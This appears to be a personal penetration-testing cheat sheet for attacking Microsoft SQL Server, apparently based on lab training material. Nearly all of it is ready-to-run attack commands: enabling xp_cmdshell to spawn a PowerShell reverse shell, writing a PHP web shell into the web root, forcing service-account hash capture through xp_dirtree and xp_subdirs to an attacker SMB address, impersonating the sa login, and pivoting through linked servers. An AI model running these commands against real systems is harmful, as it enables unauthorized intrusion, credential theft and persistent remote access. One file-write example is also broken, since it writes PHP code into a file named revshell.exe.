Table of Contents


Summery

Microsoft SQL is often seen on port 1433 or sometimes 1434 UDP.

Tips

  • sqlcmd also works on Windows.
  • enum_logins - Look at how Windows logins map to MSSQL accounts (It is not uncommon for guest users to not be able to list all the user login mappings).

Connecting to the server

sqlcmd -S <IP> -U julio -P 'MyPassword!' -y 30 -Y 30 - Conncet to a remote database
sqlcmd -S 'localhost\SQLEXPRESS' -U 'sa' -P 'WhileChirpTuesday218' - Connect to a local database
sqlcmd -S "localhost,1433" -E -d prod - Connect to a local databse using Windows authentication (works only as a current windows user)
sqlcmd -S 'localhost\SQLEXPRESS' -U sa -P 'WhileChirpTuesday218' -Q "SELECT @@VERSION" - Run singular queries on a local database
sqsh - sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h - If we are targeting a local account, we can use SERVERNAME\\accountname or .\\accountname
impacket - mssqlclient.py -p 1433 julio@10.129.203.7

Flags

  • -S - Server address and optional instance name
  • -U - SQL login username
  • -P - SQL login password
  • -y 30 - Maximum characters displayed for variable-length types
  • -Y 30 - Maximum display width for fixed-length types
  • -Q - Execute a query and exit

Showing databases

SELECT name FROM master.dbo.sysdatabases
GO

UserPortalsUserPortals

Select a database

USE htbusers
GO

Show tables

SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
GO

Select all data from a table

SELECT * FROM users
GO

Default system schemas/databases

  • master - keeps the information for an instance of SQL Server.
  • msdb - used by SQL Server Agent.
  • model - a template database copied for each new database.
  • resource - a read-only database that keeps system objects visible in every database on the server in sys schema.
  • tempdb - keeps temporary objects for SQL queries.

XP_CMDSHELL

Check if it is enabled

xp_cmdshell "whoami"
GO

and

xp_cmdshell 'whoami'
GO

Do both to make sure

Enabling it by hand

If xp_cmdshell is not enabled, we can enable it, if we have the appropriate privileges, using the following commands:

-- To allow advanced options to be changed.  
EXECUTE sp_configure 'show advanced options', 1
GO
 
-- To update the currently configured value for advanced options.  
RECONFIGURE
GO  
 
-- To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1
GO  
 
-- To update the currently configured value for this feature.  
RECONFIGURE
GO

Reverse shell

with this technique, you can run a reverse shell on the target host.
EXEC xp_cmdshell 'powershell -e <PS ONE-LINER>'

For host in internal networks and catching revs from them see Ligolo-ng, Chisel or Tunneling and pivoting.


Read local files

By default, MSSQL allows file read on any file in the operating system to which the account has read access.
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Write local files

To write files using MSSQL, you need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file:

Here’s how to enable Ole:

sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
sp_configure 'Ole Automation Procedures', 1
GO
RECONFIGURE
GO

And here’s how to create a file - webshell

DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'C:\TEMP\revshell.exe', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO

Capture MSSQL service hash

To make this work, we need first to run Responder to catch the hash and then execute one of the following SQL queries:

XP_DIRTREE hash stealing

EXEC master..xp_dirtree '\\192.168.45.169\share\'
GO

XP_SUBDIRS hash stealing

EXEC master..xp_subdirs '\\192.168.45.169\share\'
GO

If the service account has access to our server, we will obtain its hash as we force it to authenticate to our SMB server.


Impersonate existing users

First, we need to identify users that we can impersonate. Sysadmins can impersonate anyone by default, But for non-administrator users, privileges must be explicitly assigned. We can use the following query to identify users we can impersonate:

Identify users that we can impersonate

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
GO

To get an idea of privilege escalation possibilities, let’s verify if our current user has the sysadmin role:

Verifying our current user and role

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
go

As the returned value 0 indicates, we do not have the sysadmin role, but we can try to impersonate a user that might have it. Let us impersonate a user and execute the same commands. To impersonate a user, we can use the Transact-SQL statement EXECUTE AS LOGIN and set it to the user we want to impersonate.

Note: It’s recommended to run EXECUTE AS LOGIN within the master DB, because all users, by default, have access to that database. If a user you are trying to impersonate doesn’t have access to the DB you are connecting to it will present an error. Try to move to the master DB using USE master.

Impersonating the SA user

EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO

In the above example we can now execute any command as a sysadmin as the returned value 1 indicates. To revert the operation and return to our previous user, we can use the Transact-SQL statement REVERT.


Communicate with other databases

Note: If we find a user who is not sysadmin, we can still check if the user has access to other databases or linked servers.
MSSQL has a configuration option called linked servers. Linked servers are typically configured to enable the database engine to execute a Transact-SQL statement that includes tables in another instance of SQL Server, or another database product such as Oracle.

If we manage to gain access to a SQL Server with a linked server configured, we may be able to move laterally to that database server. Administrators can configure a linked server using credentials from the remote server. If those credentials have sysadmin privileges, we may be able to execute commands in the remote SQL instance. Let’s see how we can identify and execute queries on linked servers.

Identify linked servers

SELECT srvname, isremote FROM sysservers
GO

As we can see in the query’s output, we have the name of the server and the column isremote, where 1 means is a remote server, and 0 is a linked server. We can see sysservers Transact-SQL for more information.

Next, we can attempt to identify the user used for the connection and its privileges. The EXECUTE statement can be used to send pass-through commands to linked servers. We add our command between parenthesis and specify the linked server between square brackets ([ ]).

EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
GO

Note: If we need to use quotes in our query to the linked server, we need to use single double quotes ("") to escape the single quote. To run multiples commands at once we can divide them up with a semi colon (;).
Self-Note: You can also swap the quotes so starting with "" and using ” later - although I think It might cause some problems with variables from experience.